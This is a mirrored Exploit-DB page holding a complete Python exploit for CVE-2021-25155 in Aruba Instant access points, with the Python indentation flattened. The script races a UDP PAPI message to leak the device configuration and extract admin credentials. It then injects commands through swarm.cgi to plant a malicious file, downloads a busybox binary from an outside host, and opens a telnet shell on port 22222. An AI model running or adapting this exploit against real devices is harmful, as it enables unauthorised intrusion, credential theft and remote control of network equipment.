Aruba Instant 8.7.1.0 – Arbitrary File Modification

  • 作者: Gr33nh4t
    日期: 2021-07-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50133/
  • # Exploit Title: Aruba Instant 8.7.1.0 - Arbitrary File Modification
    # Date: 15/07/2021
    # Exploit Author: Gr33nh4t
    # Vendor Homepage: https://www.arubanetworks.com/
    # Version:
    # Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below
    # Aruba Instant 6.5.x: 6.5.4.18 and below
    # Aruba Instant 8.3.x: 8.3.0.14 and below
    # Aruba Instant 8.5.x: 8.5.0.11 and below
    # Aruba Instant 8.6.x: 8.6.0.6 and below
    # Aruba Instant 8.7.x: 8.7.1.0 and below
    # Tested on: Aruba Instant
    # CVE : CVE-2021-25155
    
    import socket
    import sys
    import struct
    import time
    import threading
    import urllib3
    import re
    import telnetlib
    import xml.etree.ElementTree as ET
    import requests
    
    urllib3.disable_warnings()
    
    CONTINUE_RACE = True
    SNPRINTF_CREATEFILE_MAX_LENGTH = 245
    
    
    def race_papi_message(ip):
    
    global CONTINUE_RACE
    
    payload = b"\x49\x72"
    payload += b"\x00\x03"
    payload += b"\x7F\x00\x00\x01"
    payload += b"\x7F\x00\x00\x01"
    payload += b"\x00\x00"
    payload += b"\x00\x00"
    payload += b"\x3B\x7E"
    payload += b"\x41\x41"
    payload += b"\x04\x22"
    payload += b"\x00\x00"
    payload += b"\x02\x00"
    payload += b"\x00\x00"
    payload += b"\x00" * 12 * 4
    text_to_send = bytes()
    for i in "msg_ref 3000 /tmp/cfg-plaintext\x00":
    text_to_send += struct.pack("B", int(ord(i)) ^ 0x93)
    
    packet = payload + text_to_send
    
    while CONTINUE_RACE:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect((ip, 8211))
    s.send(packet)
    s.close()
    time.sleep(0.004)
    
    
    def find_credentials(text):
    res = re.search("mgmt-user .*", text)[0]
    res = res.split(" ")
    return (res[1], res[2])
    
    
    def login(ip, username, password):
    login_data = {
    "opcode": "login",
    "user": username,
    "passwd": password,
    "refresh": "false",
    }
    res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=login_data, verify=False)
    
    root = ET.fromstring(res.text)
    return root.find("./data[@name='sid']").text
    
    
    def create_directory(ip, sid):
    request_data = "opcode=config&ip=127.0.0.1&cmd='end%20%0Aapply%20cplogo-install%20\"https://{ip}:4343/%09--directory-prefix%09/tmp/oper_/%09#\"'&refresh=false&sid={sid}&nocache=0.23759201691110987&=".format(ip=ip, sid=sid)
    res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=request_data, verify=False)
    if "/tmp/oper_" in res.text:
    print("[+] Successfully created /tmp/oper_/ directory :)")
    return True
    else:
    print("[-] Failed creating /tmp/oper_/ directory")
    return False
    
    
    def prepare_upload_id(command):
    base_payload = "/../../etc/httpd/"
    cmd_len = len(command)
    padding_len = SNPRINTF_CREATEFILE_MAX_LENGTH - cmd_len - len(base_payload) - 8# for the .gz at the end and the '; + spaces
    if padding_len < 0:
    print("[-] Command too long length:{}".format(padding_len))
    exit(1)
    return base_payload + ('/' * (padding_len - 1)) + 'A' + "'; {} #.gz".format(command)
    
    
    def create_file(ip, command):
    upload_id = prepare_upload_id(command)
    requests.post("https://{}:4343/swarm.cgi".format(ip), data={"opcode": "cp-upload", "file_type": "logo", "upload_id": upload_id, "sid": "basdfbsfbsfb"}, files={"file": "test2"}, verify=False)
    
    
    def run_command(ip, command):
    print("[*] Executing telnet")
    command = command.replace("?", "%3F")
    command = command.replace("#", "\\\\x23")
    s = requests.Session()
    req = requests.Request('GET', "https://{}:4343/A';%20{}%20%23".format(ip, command))
    prep = req.prepare()
    response = s.send(prep, verify=False)
    return response.text
    
    def build_command(command):
    command = command.replace("/", "\\\\x2F")
    command = command.replace("#", "\\\\x23")
    command = command.replace("\"", "\\\"")
    command = command.replace("`", "\`")
    final_command = "echo -e \"{}\"|sh".format(command)
    return final_command
    
    def telnet_connect(router_ip):
    print("[*] Connecting to telnet")
    with telnetlib.Telnet(router_ip, 22222) as tn:
    tn.write(b"rm /etc/httpd/A*sh*.gz\n")
    tn.interact()
    
    
    def main():
    
    global CONTINUE_RACE
    
    ip = sys.argv[1]
    
    print("[*] Starting the PAPI race thread")
    papi_thread = threading.Thread(target=race_papi_message, args=(ip, ))
    papi_thread.start()
    
    while CONTINUE_RACE:
    time.sleep(0.1)
    res = requests.get("https://{}:4343/swarm.cgi?opcode=single_signon&key=AAAA&ip=%20127.0.0.1".format(ip), timeout=3, verify=False)
    if "version" in res.text:
    print("[+] Successfully leaked the password from config")
    CONTINUE_RACE = False
    
    file_content = re.findall("var SESSION_ID = '(.*?)';", res.text, re.S)[0]
    user, password = find_credentials(file_content)
    
    print("[+] Successfully extracted username: {} and password: {}".format(user, password))
    sid = login(ip, user, password)
    print("[*] SID generated: {}".format(sid))
    
    command = """cd /tmp;/usr/sbin/wget https://busybox.net/downloads/binaries/1.21.1/busybox-armv5l --no-check-certificate -O telnetd;chmod +x telnetd;./telnetd -p 22222 -l sh"""
    final_command = build_command(command)
    
    if not create_directory(ip, sid):
    return
    
    print("[*] Creating malicious file in /etc/httpd/")
    create_file(ip, final_command)
    print(run_command(ip, final_command))
    time.sleep(1) # Sleeping waiting for telnet.
    telnet_connect(ip)
    
    
    if __name__ == "__main__":
    main()